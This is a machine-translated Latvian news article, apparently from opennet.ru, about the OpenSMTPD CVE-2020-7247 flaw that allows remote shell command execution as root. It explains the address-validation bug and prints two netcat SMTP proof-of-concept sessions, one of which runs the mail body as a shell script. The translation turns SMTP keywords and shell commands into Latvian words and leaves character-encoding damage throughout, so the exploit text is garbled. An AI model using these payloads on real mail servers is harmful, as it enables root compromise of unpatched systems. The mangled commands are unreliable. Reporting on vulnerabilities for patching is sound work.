OpenSMTPD ievainojamība, kas ļauj attālināti izpildīt kodu ar root tiesībām

Pasta serverÄ«, ko izstrādāja OpenBSD projekts AtvērtSMTPD identificēts kritiska ievainojamÄ«ba (CVE-2020-7247), kas ļauj attālināti izpildÄ«t čaulas komandas serverÄ« ar root privilēģijām. IevainojamÄ«ba tika atklāta atkārtotas revÄ«zijas laikā, ko veica Qualys Security (iepriekŔējā OpenSMTPD revÄ«zija). tika iznests ārā 2015. gadā, un jaunā ievainojamÄ«ba pastāv kopÅ” 2018. gada maija). Problēma likvidēta OpenSMTPD 6.6.2 laidienā. Visiem lietotājiem ieteicams nekavējoties instalēt atjauninājumu (OpenBSD gadÄ«jumā ielāpu var instalēt, izmantojot syspatch).

Ir ierosināti divi uzbrukuma varianti. Pirmais variants darbojas ar noklusējuma OpenSMTPD konfigurāciju (pieprasÄ«jumu saņemÅ”ana tikai no localhost) un ļauj lokāli izmantot ievainojamÄ«bu, ja uzbrucējam ir piekļuve lokālā tÄ«kla saskarnei (cilpas atgriezeniskajai saitei) serverÄ« (piemēram, mitināŔanas sistēmās). Otrais variants rodas, ja OpenSMTPD ir konfigurēts ārējo tÄ«kla pieprasÄ«jumu saņemÅ”anai (pasta serveris, kas pieņem treÅ”o puÅ”u pastu). Pētnieki ir sagatavojuÅ”i prototipa izmantoÅ”anu, kas veiksmÄ«gi darbojas gan ar OpenSMTPD variantu, kas iekļauts OpenBSD 6.6, gan ar portatÄ«vo versiju citām operētājsistēmām (veikts Debian TestēŔana).

Problēmu rada kļūda funkcijā smtp_mailaddr(), kas tiek izsaukta, lai validētu vērtÄ«bas laukos "MAIL FROM" un "RCPT TO", kas definē sÅ«tÄ«tāju/saņēmēju un tiek pārsÅ«tÄ«tas savienojuma laikā ar pasta serveri. Lai validētu e-pasta adreses daļu, kas atrodas pirms simbola "@", smtp_mailaddr() izsauc Å”o funkciju.
valid_localpart(), kas uzskata rakstzīmes "!#$%&'*/?^`{|}~+-=_" par derīgām (MAILADDR_ALLOWED), kā to pieprasa RFC 5322.

Å ajā gadÄ«jumā tieŔā virknes aizstāŔana tiek veikta funkcijā mda_expand_token(), kas aizstāj tikai rakstzÄ«mes "!#$%&'*?`{|}~" (MAILADDR_ESCAPE). Pēc tam, izsaucot piegādes aÄ£entu (MDA), izmantojot komandu 'execle(Ā«/bin/shĀ», Ā«/bin/shĀ», Ā«-cĀ», mda_command,…', tiek izmantota funkcijā mda_expand_token() sagatavotā virkne. Ja ziņojums tiek ievietots mbox mapē, izmantojot /bin/sh, tiek izpildÄ«ta rinda "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}", kur vērtÄ«ba "%{mbox.from}" ietver aizstāŔanas datus no parametra "MAIL FROM".

IevainojamÄ«ba slēpjas loÄ£iskā kļūdā funkcijā smtp_mailaddr(), kuras dēļ funkcija atgriež veiksmÄ«gas verifikācijas kodu, ja e-pastā tiek nodots tukÅ”s domēns, pat ja adreses daļa pirms "@" satur nederÄ«gas rakstzÄ«mes. Sagatavojot virkni, funkcija mda_expand_token() izmanto tikai tās rakstzÄ«mes, kas ir atļautas e-pasta adresēs, nevis visas iespējamās čaulas speciālās rakstzÄ«mes. Tādēļ, lai palaistu komandu, e-pasta lokālajā daļā ir jāizmanto tikai rakstzÄ«me ";" un atstarpe, kas nav iekļautas MAILADDR_ESCAPE kopā un netiek izmantotas ar atsoļa rakstzÄ«mēm. Piemēram:

$ nc 127.0.0.1 25

HELO profesors.Falkens
VĒSTULE NO:<;sleep 66;>
SAŅEMT UZ:
DATU
.
QUIT

Pēc Ŕīs sesijas OpenSMTPD, piegādājot uz mbox, palaidÄ«s komandu, izmantojot čaulu.

/usr/libexec/mail.local -f; miega 66; root

Uzbrukuma virsmu ierobežo fakts, ka adreses lokālā daļa nedrÄ«kst pārsniegt 64 rakstzÄ«mes, un speciālās rakstzÄ«mes '$' un '|' atsoļa laikā tiek aizstātas ar ":". Lai apietu Å”o ierobežojumu, e-pasta pamatteksts tiek nodots ievades straumē pēc /usr/libexec/mail.local palaiÅ”anas. Tas nozÄ«mē, ka, manipulējot ar adresi, var palaist tikai sh komandu interpretētāju un e-pasta pamattekstu var izmantot kā instrukciju kopu. Tā kā pakalpojuma SMTP galvenes ir norādÄ«tas e-pasta sākumā, tiek piedāvāta cilpas lasīŔanas komanda, lai tās izlaistu. DarbojoÅ”ais izmantoÅ”anas veids izskatās apmēram Ŕādi:

$ nc 192.168.56.143 25

HELO profesors.Falkens
VĒSTULE NO:<;for i in 0 1 2 3 4 5 6 7 8 9 abcd;do read r;done;sh;exit 0;>
KVÄŖTS UZ:
DATU
#0
#1
...
#d
priekÅ” i WOPR; dari
echo -n "($i) " && id || pārtraukums
darīts > /root/x."`id -u`.""$$"
.
QUIT

Avots: opennet.ru

Iegādājieties uzticamu mitināŔanu vietnēm ar DDoS aizsardzÄ«bu, VPS VDS serveriem šŸ”„ Iegādājieties uzticamu tÄ«mekļa vietņu mitināŔanu ar DDoS aizsardzÄ«bu, VPS VDS serveriem | ProHoster